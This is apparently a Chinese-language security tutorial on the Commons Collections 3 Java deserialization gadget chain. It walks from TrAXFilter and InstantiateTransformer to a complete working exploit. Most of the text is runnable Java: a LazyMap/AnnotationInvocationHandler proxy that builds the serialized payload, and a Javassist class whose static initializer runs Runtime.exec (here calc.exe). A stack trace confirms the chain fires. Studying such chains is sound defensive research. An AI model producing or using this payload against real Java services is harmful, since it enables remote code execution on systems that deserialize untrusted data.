既 CC 1 和 CC 2 的学习之后,两者本质上还是去触发 InvokerTransformer.transform() 来反射调用方法,在引入了 TemplatesImpl 之后,是否能找到一种链子可以直接触发其 newTransformer 方法来加载字节码?CC 3 就是为此而生
既然如此,我们依旧对 newTransformer Find Usages,关注 TrAXFilter 类
1 2 3 4 5 6 7 public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
发现其构造函数中直接调用了 newTransformer(),参数也恰好就是 Templates 接口类型,就是说只要 TrAXFilter 被实例化,并且传入我们构造好的 TemplatesImpl 对象就好
为此这里我们需要一个新的 Transformer:InstantiateTransformer
其 transform() 方法中调用 getConstructor() 返回当前类单个 public 构造器,并最终实例化;我们直接传入 TrAXFilter.class 就可以了
1 2 InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); instantiateTransformer.transform(TrAXFilter.class);
接下来就很自由了,可以结合其它链子的方法去触发 instantiateTransformer.transform,并生成序列化数据,这里就直接采用 CC 1 LazyMap 方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class Main { public static void main (String[] args) throws Exception{ byte [] byteCode = Evil.makeBytes(); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "Qu43ter" ); setFieldValue(templates, "_bytecodes" , new byte [][]{byteCode}); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer [] { new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map<String, String> innerMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer); Class<?> cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) ctor.newInstance(Target.class, lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class [] {Map.class}, handler ); Object instance = ctor.newInstance(Target.class, proxyMap); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(instance); oos.flush(); oos.close(); byte [] bytes = baos.toByteArray(); ByteArrayInputStream bais = new ByteArrayInputStream (bytes); ObjectInputStream in = new ObjectInputStream (bais); in.readObject(); in.close(); } static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field declaredField = obj.getClass().getDeclaredField(fieldName); declaredField.setAccessible(true ); declaredField.set(obj, value); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package org.example; import javassist.ClassPool; import javassist.CtClass; public class Evil { public static byte [] makeBytes() throws Exception { String cmd = "Runtime.getRuntime().exec(\"calc.exe\");" ; ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("org.example.Evil" ); ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" )); ctClass.makeClassInitializer().insertBefore(cmd); return ctClass.toBytecode(); } }
调用链
1 2 3 4 5 6 7 8 9 10 11 12 13 at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486) at com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(TrAXFilter.java:64) ... at java.lang.reflect.Constructor.newInstance(Constructor.java:422) at org.apache.commons.collections.functors.InstantiateTransformer.transform(InstantiateTransformer.java:105) at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122) at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151) at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:77) at com.sun.proxy.$Proxy1.entrySet(Unknown Source:-1) at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:444) ... at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371) at org.example.Main.main(Main.java:65)